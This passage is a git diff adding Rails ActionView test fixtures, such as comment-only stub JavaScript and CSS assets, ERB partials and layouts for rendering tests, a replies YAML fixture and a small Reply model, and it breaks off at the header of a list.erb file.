diff --git a/actionview/test/fixtures/public/javascripts/controls.js b/actionview/test/fixtures/public/javascripts/controls.js
new file mode 100644
index 0000000000..88168d9f13
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/controls.js
@@ -0,0 +1 @@
+// controls js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/dragdrop.js b/actionview/test/fixtures/public/javascripts/dragdrop.js
new file mode 100644
index 0000000000..c07061ac0c
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/dragdrop.js
@@ -0,0 +1 @@
+// dragdrop js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/effects.js b/actionview/test/fixtures/public/javascripts/effects.js
new file mode 100644
index 0000000000..b555d63034
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/effects.js
@@ -0,0 +1 @@
+// effects js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/prototype.js b/actionview/test/fixtures/public/javascripts/prototype.js
new file mode 100644
index 0000000000..9780064a0e
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/prototype.js
@@ -0,0 +1 @@
+// prototype js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/robber.js b/actionview/test/fixtures/public/javascripts/robber.js
new file mode 100644
index 0000000000..eb82fcbdf4
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/robber.js
@@ -0,0 +1 @@
+// robber js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/javascripts/subdir/subdir.js b/actionview/test/fixtures/public/javascripts/subdir/subdir.js
new file mode 100644
index 0000000000..9d23a67aa1
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/subdir/subdir.js
@@ -0,0 +1 @@
+// subdir js
diff --git a/actionview/test/fixtures/public/javascripts/version.1.0.js b/actionview/test/fixtures/public/javascripts/version.1.0.js
new file mode 100644
index 0000000000..cfd5fce70e
--- /dev/null
+++ b/actionview/test/fixtures/public/javascripts/version.1.0.js
@@ -0,0 +1 @@
+// version.1.0 js
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/stylesheets/bank.css b/actionview/test/fixtures/public/stylesheets/bank.css
new file mode 100644
index 0000000000..ea161b12b2
--- /dev/null
+++ b/actionview/test/fixtures/public/stylesheets/bank.css
@@ -0,0 +1 @@
+/* bank.css */
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/stylesheets/random.styles b/actionview/test/fixtures/public/stylesheets/random.styles
new file mode 100644
index 0000000000..d4eeead95c
--- /dev/null
+++ b/actionview/test/fixtures/public/stylesheets/random.styles
@@ -0,0 +1 @@
+/* random.styles */
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/stylesheets/robber.css b/actionview/test/fixtures/public/stylesheets/robber.css
new file mode 100644
index 0000000000..0fdd00a6a5
--- /dev/null
+++ b/actionview/test/fixtures/public/stylesheets/robber.css
@@ -0,0 +1 @@
+/* robber.css */
\ No newline at end of file
diff --git a/actionview/test/fixtures/public/stylesheets/subdir/subdir.css b/actionview/test/fixtures/public/stylesheets/subdir/subdir.css
new file mode 100644
index 0000000000..241152a905
--- /dev/null
+++ b/actionview/test/fixtures/public/stylesheets/subdir/subdir.css
@@ -0,0 +1 @@
+/* subdir.css */
diff --git a/actionview/test/fixtures/public/stylesheets/version.1.0.css b/actionview/test/fixtures/public/stylesheets/version.1.0.css
new file mode 100644
index 0000000000..30f5f9ba6e
--- /dev/null
+++ b/actionview/test/fixtures/public/stylesheets/version.1.0.css
@@ -0,0 +1 @@
+/* version.1.0.css */
\ No newline at end of file
diff --git a/actionview/test/fixtures/replies.yml b/actionview/test/fixtures/replies.yml
new file mode 100644
index 0000000000..2a3454b8bf
--- /dev/null
+++ b/actionview/test/fixtures/replies.yml
@@ -0,0 +1,15 @@
+witty_retort:
+  id: 1
+  topic_id: 1
+  developer_id: 1
+  content: Birdman is better!
+  created_at: <%= 6.hours.ago.to_s(:db) %>
+  updated_at: nil
+
+another:
+  id: 2
+  topic_id: 2
+  developer_id: 1
+  content: Nuh uh!
+  created_at: <%= 1.hour.ago.to_s(:db) %>
+  updated_at: nil
diff --git a/actionview/test/fixtures/replies/_reply.erb b/actionview/test/fixtures/replies/_reply.erb
new file mode 100644
index 0000000000..68baf548d8
--- /dev/null
+++ b/actionview/test/fixtures/replies/_reply.erb
@@ -0,0 +1 @@
+<%= reply.content %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/reply.rb b/actionview/test/fixtures/reply.rb
new file mode 100644
index 0000000000..b2b662e1b5
--- /dev/null
+++ b/actionview/test/fixtures/reply.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class Reply < ActiveRecord::Base
+  scope :base, -> { all }
+  belongs_to :topic, -> { includes(:replies) }
+  belongs_to :developer
+
+  validates_presence_of :content
+end
diff --git a/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb b/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb
new file mode 100644
index 0000000000..9f1f855269
--- /dev/null
+++ b/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb
@@ -0,0 +1 @@
+HTML!
diff --git a/actionview/test/fixtures/ruby_template.ruby b/actionview/test/fixtures/ruby_template.ruby
new file mode 100644
index 0000000000..93334610a8
--- /dev/null
+++ b/actionview/test/fixtures/ruby_template.ruby
@@ -0,0 +1,2 @@
+body = "".dup
+body << ["Hello", "from", "Ruby", "code"].join(" ")
diff --git a/actionview/test/fixtures/shared.html.erb b/actionview/test/fixtures/shared.html.erb
new file mode 100644
index 0000000000..af262fc9f8
--- /dev/null
+++ b/actionview/test/fixtures/shared.html.erb
@@ -0,0 +1 @@
+Elastica
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_200.html.erb b/actionview/test/fixtures/test/_200.html.erb
new file mode 100644
index 0000000000..c9f45675dc
--- /dev/null
+++ b/actionview/test/fixtures/test/_200.html.erb
@@ -0,0 +1 @@
+<h1>Invalid partial</h1>
diff --git a/actionview/test/fixtures/test/_FooBar.html.erb b/actionview/test/fixtures/test/_FooBar.html.erb
new file mode 100644
index 0000000000..4bbe59410a
--- /dev/null
+++ b/actionview/test/fixtures/test/_FooBar.html.erb
@@ -0,0 +1 @@
+🍣
diff --git a/actionview/test/fixtures/test/_a-in.html.erb b/actionview/test/fixtures/test/_a-in.html.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/test/_a-in.html.erb
diff --git a/actionview/test/fixtures/test/_b_layout_for_partial.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial.html.erb
new file mode 100644
index 0000000000..e918ba8f83
--- /dev/null
+++ b/actionview/test/fixtures/test/_b_layout_for_partial.html.erb
@@ -0,0 +1 @@
+<b><%= yield %></b>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_b_layout_for_partial_with_object.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
new file mode 100644
index 0000000000..bdd53014cd
--- /dev/null
+++ b/actionview/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
@@ -0,0 +1 @@
+<b class="<%= customer.name.downcase %>"><%= yield %></b>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
new file mode 100644
index 0000000000..44d6121297
--- /dev/null
+++ b/actionview/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
@@ -0,0 +1 @@
+<b data-counter="<%= customer_counter %>"><%= yield %></b>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_builder_tag_nested_in_content_tag.erb b/actionview/test/fixtures/test/_builder_tag_nested_in_content_tag.erb
new file mode 100644
index 0000000000..ddad7ec3ac
--- /dev/null
+++ b/actionview/test/fixtures/test/_builder_tag_nested_in_content_tag.erb
@@ -0,0 +1,3 @@
+<%= tag.p do %>
+  <%= tag.b 'Hello' %>
+<% end %>
diff --git a/actionview/test/fixtures/test/_cached_customer.erb b/actionview/test/fixtures/test/_cached_customer.erb
new file mode 100644
index 0000000000..52f35a3497
--- /dev/null
+++ b/actionview/test/fixtures/test/_cached_customer.erb
@@ -0,0 +1,3 @@
+<% cache cached_customer do %>
+  Hello: <%= cached_customer.name %>
+<% end %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_cached_customer_as.erb b/actionview/test/fixtures/test/_cached_customer_as.erb
new file mode 100644
index 0000000000..fca8d19e34
--- /dev/null
+++ b/actionview/test/fixtures/test/_cached_customer_as.erb
@@ -0,0 +1,3 @@
+<% cache buyer do %>
+  <%= greeting %>: <%= customer.name %>
+<% end %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_cached_nested_cached_customer.erb b/actionview/test/fixtures/test/_cached_nested_cached_customer.erb
new file mode 100644
index 0000000000..01bf025cd3
--- /dev/null
+++ b/actionview/test/fixtures/test/_cached_nested_cached_customer.erb
@@ -0,0 +1,3 @@
+<% cache cached_customer do %>
+  <%= render partial: "test/cached_customer", locals: { cached_customer: cached_customer } %>
+<% end %>
diff --git a/actionview/test/fixtures/test/_changing_priority.html.erb b/actionview/test/fixtures/test/_changing_priority.html.erb
new file mode 100644
index 0000000000..3225efc49a
--- /dev/null
+++ b/actionview/test/fixtures/test/_changing_priority.html.erb
@@ -0,0 +1 @@
+HTML
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_changing_priority.json.erb b/actionview/test/fixtures/test/_changing_priority.json.erb
new file mode 100644
index 0000000000..7fa41dce66
--- /dev/null
+++ b/actionview/test/fixtures/test/_changing_priority.json.erb
@@ -0,0 +1 @@
+JSON
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_content_tag_nested_in_content_tag.erb b/actionview/test/fixtures/test/_content_tag_nested_in_content_tag.erb
new file mode 100644
index 0000000000..2f21a75dd9
--- /dev/null
+++ b/actionview/test/fixtures/test/_content_tag_nested_in_content_tag.erb
@@ -0,0 +1,3 @@
+<%= content_tag 'p' do %>
+  <%= content_tag 'b', 'Hello' %>
+<% end %>
diff --git a/actionview/test/fixtures/test/_counter.html.erb b/actionview/test/fixtures/test/_counter.html.erb
new file mode 100644
index 0000000000..fd245bfc70
--- /dev/null
+++ b/actionview/test/fixtures/test/_counter.html.erb
@@ -0,0 +1 @@
+<%= counter_counter %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer.erb b/actionview/test/fixtures/test/_customer.erb
new file mode 100644
index 0000000000..d8220afeda
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer.mobile.erb b/actionview/test/fixtures/test/_customer.mobile.erb
new file mode 100644
index 0000000000..d8220afeda
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer.mobile.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer_greeting.erb b/actionview/test/fixtures/test/_customer_greeting.erb
new file mode 100644
index 0000000000..6acbcb20c4
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer_greeting.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer_with_var.erb b/actionview/test/fixtures/test/_customer_with_var.erb
new file mode 100644
index 0000000000..00047dd20e
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer_with_var.erb
@@ -0,0 +1 @@
+<%= customer.name %> <%= customer.name %> <%= customer.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb b/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb
new file mode 100644
index 0000000000..1cc8d41475
--- /dev/null
+++ b/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb
@@ -0,0 +1 @@
+Hello <%= name %>
diff --git a/actionview/test/fixtures/test/_first_json_partial.json.erb b/actionview/test/fixtures/test/_first_json_partial.json.erb
new file mode 100644
index 0000000000..790ee896db
--- /dev/null
+++ b/actionview/test/fixtures/test/_first_json_partial.json.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/second_json_partial" %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_from_helper.erb b/actionview/test/fixtures/test/_from_helper.erb
new file mode 100644
index 0000000000..16de7c0f8a
--- /dev/null
+++ b/actionview/test/fixtures/test/_from_helper.erb
@@ -0,0 +1 @@
+<%= render_from_helper %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_json_change_priority.json.erb b/actionview/test/fixtures/test/_json_change_priority.json.erb
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/actionview/test/fixtures/test/_json_change_priority.json.erb
diff --git a/actionview/test/fixtures/test/_klass.erb b/actionview/test/fixtures/test/_klass.erb
new file mode 100644
index 0000000000..9936f86001
--- /dev/null
+++ b/actionview/test/fixtures/test/_klass.erb
@@ -0,0 +1 @@
+<%= klass.class.name %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_label_with_block.erb b/actionview/test/fixtures/test/_label_with_block.erb
new file mode 100644
index 0000000000..94089ea93d
--- /dev/null
+++ b/actionview/test/fixtures/test/_label_with_block.erb
@@ -0,0 +1,4 @@
+<%= label('post', 'message')do %>
+  Message
+  <%= text_field 'post', 'message' %>
+<% end %>
diff --git a/actionview/test/fixtures/test/_layout_for_block_with_args.html.erb b/actionview/test/fixtures/test/_layout_for_block_with_args.html.erb
new file mode 100644
index 0000000000..307533208d
--- /dev/null
+++ b/actionview/test/fixtures/test/_layout_for_block_with_args.html.erb
@@ -0,0 +1,3 @@
+Before
+<%= yield 'arg1', 'arg2' %>
+After
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_layout_for_partial.html.erb b/actionview/test/fixtures/test/_layout_for_partial.html.erb
new file mode 100644
index 0000000000..666efadbb6
--- /dev/null
+++ b/actionview/test/fixtures/test/_layout_for_partial.html.erb
@@ -0,0 +1,3 @@
+Before (<%= name %>)
+<%= yield %>
+After
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb b/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
new file mode 100644
index 0000000000..820e7db789
--- /dev/null
+++ b/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
@@ -0,0 +1,4 @@
+Before
+<%= render :partial => "test/partial" %>
+<%= yield %>
+After
diff --git a/actionview/test/fixtures/test/_local_inspector.html.erb b/actionview/test/fixtures/test/_local_inspector.html.erb
new file mode 100644
index 0000000000..e6765c0882
--- /dev/null
+++ b/actionview/test/fixtures/test/_local_inspector.html.erb
@@ -0,0 +1 @@
+<%= local_assigns.keys.map {|k| k.to_s }.sort.join(",") -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_nested_cached_customer.erb b/actionview/test/fixtures/test/_nested_cached_customer.erb
new file mode 100644
index 0000000000..f43adc94c9
--- /dev/null
+++ b/actionview/test/fixtures/test/_nested_cached_customer.erb
@@ -0,0 +1 @@
+<%= render partial: "test/cached_customer", locals: { cached_customer: cached_customer } %>
diff --git a/actionview/test/fixtures/test/_object_inspector.erb b/actionview/test/fixtures/test/_object_inspector.erb
new file mode 100644
index 0000000000..53af593821
--- /dev/null
+++ b/actionview/test/fixtures/test/_object_inspector.erb
@@ -0,0 +1 @@
+<%= object_inspector.inspect -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_one.html.erb b/actionview/test/fixtures/test/_one.html.erb
new file mode 100644
index 0000000000..f796291cb4
--- /dev/null
+++ b/actionview/test/fixtures/test/_one.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "two" %> world
diff --git a/actionview/test/fixtures/test/_partial.erb b/actionview/test/fixtures/test/_partial.erb
new file mode 100644
index 0000000000..e466dcbd8e
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.erb
@@ -0,0 +1 @@
+invalid
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial.html.erb b/actionview/test/fixtures/test/_partial.html.erb
new file mode 100644
index 0000000000..e39f6c9827
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial.js.erb b/actionview/test/fixtures/test/_partial.js.erb
new file mode 100644
index 0000000000..b350cdd7ef
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb b/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb
new file mode 100644
index 0000000000..3a03a64e31
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb
@@ -0,0 +1 @@
+Inside from partial (<%= name %>)
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_iteration_1.erb b/actionview/test/fixtures/test/_partial_iteration_1.erb
new file mode 100644
index 0000000000..c0fdd4c22a
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_iteration_1.erb
@@ -0,0 +1 @@
+<%= defined?(partial_iteration_1_iteration) %>
diff --git a/actionview/test/fixtures/test/_partial_iteration_2.erb b/actionview/test/fixtures/test/_partial_iteration_2.erb
new file mode 100644
index 0000000000..50dd11db27
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_iteration_2.erb
@@ -0,0 +1 @@
+<%= defined?(partial_iteration_2_iteration) -%>
diff --git a/actionview/test/fixtures/test/_partial_name_in_local_assigns.erb b/actionview/test/fixtures/test/_partial_name_in_local_assigns.erb
new file mode 100644
index 0000000000..28ee9f41c5
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_name_in_local_assigns.erb
@@ -0,0 +1 @@
+<%= local_assigns.has_key?(:partial_name_in_local_assigns) %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_name_local_variable.erb b/actionview/test/fixtures/test/_partial_name_local_variable.erb
new file mode 100644
index 0000000000..cc3a91c89f
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_name_local_variable.erb
@@ -0,0 +1 @@
+<%= partial_name_local_variable %>
diff --git a/actionview/test/fixtures/test/_partial_only.erb b/actionview/test/fixtures/test/_partial_only.erb
new file mode 100644
index 0000000000..a44b3eed40
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_only.erb
@@ -0,0 +1 @@
+only partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_shortcut_with_block_content.html.erb b/actionview/test/fixtures/test/_partial_shortcut_with_block_content.html.erb
new file mode 100644
index 0000000000..352128f3ba
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_shortcut_with_block_content.html.erb
@@ -0,0 +1,3 @@
+<%= render "test/layout_for_block_with_args" do |arg_1, arg_2| %>
+  Yielded: <%= arg_1 %>/<%= arg_2 %>
+<% end %>
diff --git a/actionview/test/fixtures/test/_partial_with_layout.erb b/actionview/test/fixtures/test/_partial_with_layout.erb
new file mode 100644
index 0000000000..2a50c834fe
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_layout.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'test/partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } %>
+partial with layout
diff --git a/actionview/test/fixtures/test/_partial_with_layout_block_content.erb b/actionview/test/fixtures/test/_partial_with_layout_block_content.erb
new file mode 100644
index 0000000000..65dafd93a8
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_layout_block_content.erb
@@ -0,0 +1,4 @@
+<%= render :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } do %>
+  Content from inside layout!
+<% end %>
+partial with layout
diff --git a/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb b/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
new file mode 100644
index 0000000000..444197a7d0
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
@@ -0,0 +1,4 @@
+<%= render :layout => 'test/layout_for_partial', :locals => { :name => 'Bar!' } do %>
+  <%= render 'test/partial' %>
+<% end %>
+partial with layout
diff --git a/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb b/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
new file mode 100644
index 0000000000..00e6b6d6da
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
@@ -0,0 +1 @@
+partial with only html version
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_with_partial.erb b/actionview/test/fixtures/test/_partial_with_partial.erb
new file mode 100644
index 0000000000..ee0d5037b6
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_partial.erb
@@ -0,0 +1,2 @@
+<%= render 'test/partial' %>
+partial with partial
diff --git a/actionview/test/fixtures/test/_partial_with_variants.html+grid.erb b/actionview/test/fixtures/test/_partial_with_variants.html+grid.erb
new file mode 100644
index 0000000000..225363c8c3
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_variants.html+grid.erb
@@ -0,0 +1 @@
+<h1>Partial with variants</h1>
diff --git a/actionview/test/fixtures/test/_partialhtml.html b/actionview/test/fixtures/test/_partialhtml.html
new file mode 100644
index 0000000000..afe39b730a
--- /dev/null
+++ b/actionview/test/fixtures/test/_partialhtml.html
@@ -0,0 +1 @@
+<h1>partial html</h1>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_raise.html.erb b/actionview/test/fixtures/test/_raise.html.erb
new file mode 100644
index 0000000000..68b08181d3
--- /dev/null
+++ b/actionview/test/fixtures/test/_raise.html.erb
@@ -0,0 +1 @@
+<%= doesnt_exist %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_raise_indentation.html.erb b/actionview/test/fixtures/test/_raise_indentation.html.erb
new file mode 100644
index 0000000000..f9a93728fe
--- /dev/null
+++ b/actionview/test/fixtures/test/_raise_indentation.html.erb
@@ -0,0 +1,13 @@
+<p>First paragraph</p>
+<p>Second paragraph</p>
+<p>Third paragraph</p>
+<p>Fourth paragraph</p>
+<p>Fifth paragraph</p>
+<p>Sixth paragraph</p>
+<p>Seventh paragraph</p>
+<p>Eight paragraph</p>
+<p>Ninth paragraph</p>
+<p>Tenth paragraph</p>
+<%= raise "error here!" %>
+<p>Eleventh paragraph</p>
+<p>Twelfth paragraph</p>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_second_json_partial.json.erb b/actionview/test/fixtures/test/_second_json_partial.json.erb
new file mode 100644
index 0000000000..5ebb7f1afd
--- /dev/null
+++ b/actionview/test/fixtures/test/_second_json_partial.json.erb
@@ -0,0 +1 @@
+Third level
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_two.html.erb b/actionview/test/fixtures/test/_two.html.erb
new file mode 100644
index 0000000000..5ab2f8a432
--- /dev/null
+++ b/actionview/test/fixtures/test/_two.html.erb
@@ -0,0 +1 @@
+Hello
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/_utf8_partial.html.erb b/actionview/test/fixtures/test/_utf8_partial.html.erb
new file mode 100644
index 0000000000..8d717fd427
--- /dev/null
+++ b/actionview/test/fixtures/test/_utf8_partial.html.erb
@@ -0,0 +1 @@
+<%= "текст" %>
diff --git a/actionview/test/fixtures/test/_utf8_partial_magic.html.erb b/actionview/test/fixtures/test/_utf8_partial_magic.html.erb
new file mode 100644
index 0000000000..4e2224610a
--- /dev/null
+++ b/actionview/test/fixtures/test/_utf8_partial_magic.html.erb
@@ -0,0 +1,2 @@
+<%# encoding: utf-8 -%>
+<%= "текст" %>
diff --git a/actionview/test/fixtures/test/_🍣.erb b/actionview/test/fixtures/test/_🍣.erb
new file mode 100644
index 0000000000..4bbe59410a
--- /dev/null
+++ b/actionview/test/fixtures/test/_🍣.erb
@@ -0,0 +1 @@
+🍣
diff --git a/actionview/test/fixtures/test/basic.html.erb b/actionview/test/fixtures/test/basic.html.erb
new file mode 100644
index 0000000000..ea696d7e01
--- /dev/null
+++ b/actionview/test/fixtures/test/basic.html.erb
@@ -0,0 +1 @@
+Hello from basic.html.erb
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/calling_partial_with_layout.html.erb b/actionview/test/fixtures/test/calling_partial_with_layout.html.erb
new file mode 100644
index 0000000000..ac44bc0d81
--- /dev/null
+++ b/actionview/test/fixtures/test/calling_partial_with_layout.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/change_priority.html.erb b/actionview/test/fixtures/test/change_priority.html.erb
new file mode 100644
index 0000000000..5618977d05
--- /dev/null
+++ b/actionview/test/fixtures/test/change_priority.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render :partial => "test/changing_priority" %> partial
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/dont_pick_me b/actionview/test/fixtures/test/dont_pick_me
new file mode 100644
index 0000000000..0157c9e503
--- /dev/null
+++ b/actionview/test/fixtures/test/dont_pick_me
@@ -0,0 +1 @@
+non-template file
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/test/greeting.xml.erb b/actionview/test/fixtures/test/greeting.xml.erb
new file mode 100644
index 0000000000..62fb0293f0
--- /dev/null
+++ b/actionview/test/fixtures/test/greeting.xml.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/test/hello.builder b/actionview/test/fixtures/test/hello.builder
new file mode 100644
index 0000000000..b8ab17ad5b
--- /dev/null
+++ b/actionview/test/fixtures/test/hello.builder
@@ -0,0 +1,4 @@
+xml.html do
+  xml.p "Hello #{@name}"
+  xml << render(file: "test/greeting")
+end
diff --git a/actionview/test/fixtures/test/hello/hello.erb b/actionview/test/fixtures/test/hello/hello.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/test/hello/hello.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world.da.html.erb b/actionview/test/fixtures/test/hello_world.da.html.erb
new file mode 100644
index 0000000000..10ec443291
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.da.html.erb
@@ -0,0 +1 @@
+Hey verden
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world.erb b/actionview/test/fixtures/test/hello_world.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.erb
@@ -0,0 +1 @@
+Hello world!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world.erb~ b/actionview/test/fixtures/test/hello_world.erb~
new file mode 100644
index 0000000000..21934a1c95
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.erb~
@@ -0,0 +1 @@
+Don't pick me!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world.html+phone.erb b/actionview/test/fixtures/test/hello_world.html+phone.erb
new file mode 100644
index 0000000000..b4f236f878
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.html+phone.erb
@@ -0,0 +1 @@
+Hello phone!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world.pt-BR.html.erb b/actionview/test/fixtures/test/hello_world.pt-BR.html.erb
new file mode 100644
index 0000000000..773b3c8c6e
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.pt-BR.html.erb
@@ -0,0 +1 @@
+Ola mundo
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world.text+phone.erb b/actionview/test/fixtures/test/hello_world.text+phone.erb
new file mode 100644
index 0000000000..611e2ee442
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.text+phone.erb
@@ -0,0 +1 @@
+Hello texty phone!
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world_with_partial.html.erb b/actionview/test/fixtures/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000000..ec31545356
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionview/test/fixtures/test/html_template.html.erb b/actionview/test/fixtures/test/html_template.html.erb
new file mode 100644
index 0000000000..1bbc2b7f09
--- /dev/null
+++ b/actionview/test/fixtures/test/html_template.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/first_json_partial", formats: :json %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/layout_render_file.erb b/actionview/test/fixtures/test/layout_render_file.erb
new file mode 100644
index 0000000000..2f8e921c5f
--- /dev/null
+++ b/actionview/test/fixtures/test/layout_render_file.erb
@@ -0,0 +1,2 @@
+<% content_for :title do %>title<% end -%>
+<%= render :file => 'layouts/yield' -%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/layout_render_object.erb b/actionview/test/fixtures/test/layout_render_object.erb
new file mode 100644
index 0000000000..acc4453c08
--- /dev/null
+++ b/actionview/test/fixtures/test/layout_render_object.erb
@@ -0,0 +1 @@
+<%= render :layout => "layouts/customers" do |customer| %><%= customer.name %><% end %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/test/list.erb b/actionview/test/fixtures/test/list.erb
new file mode 100644
index 0000000000..0a4bda58ee
--- /dev/null
+++ b/actionview/test/fixtures/test/list.erb
@@ -0,0 +1 @@
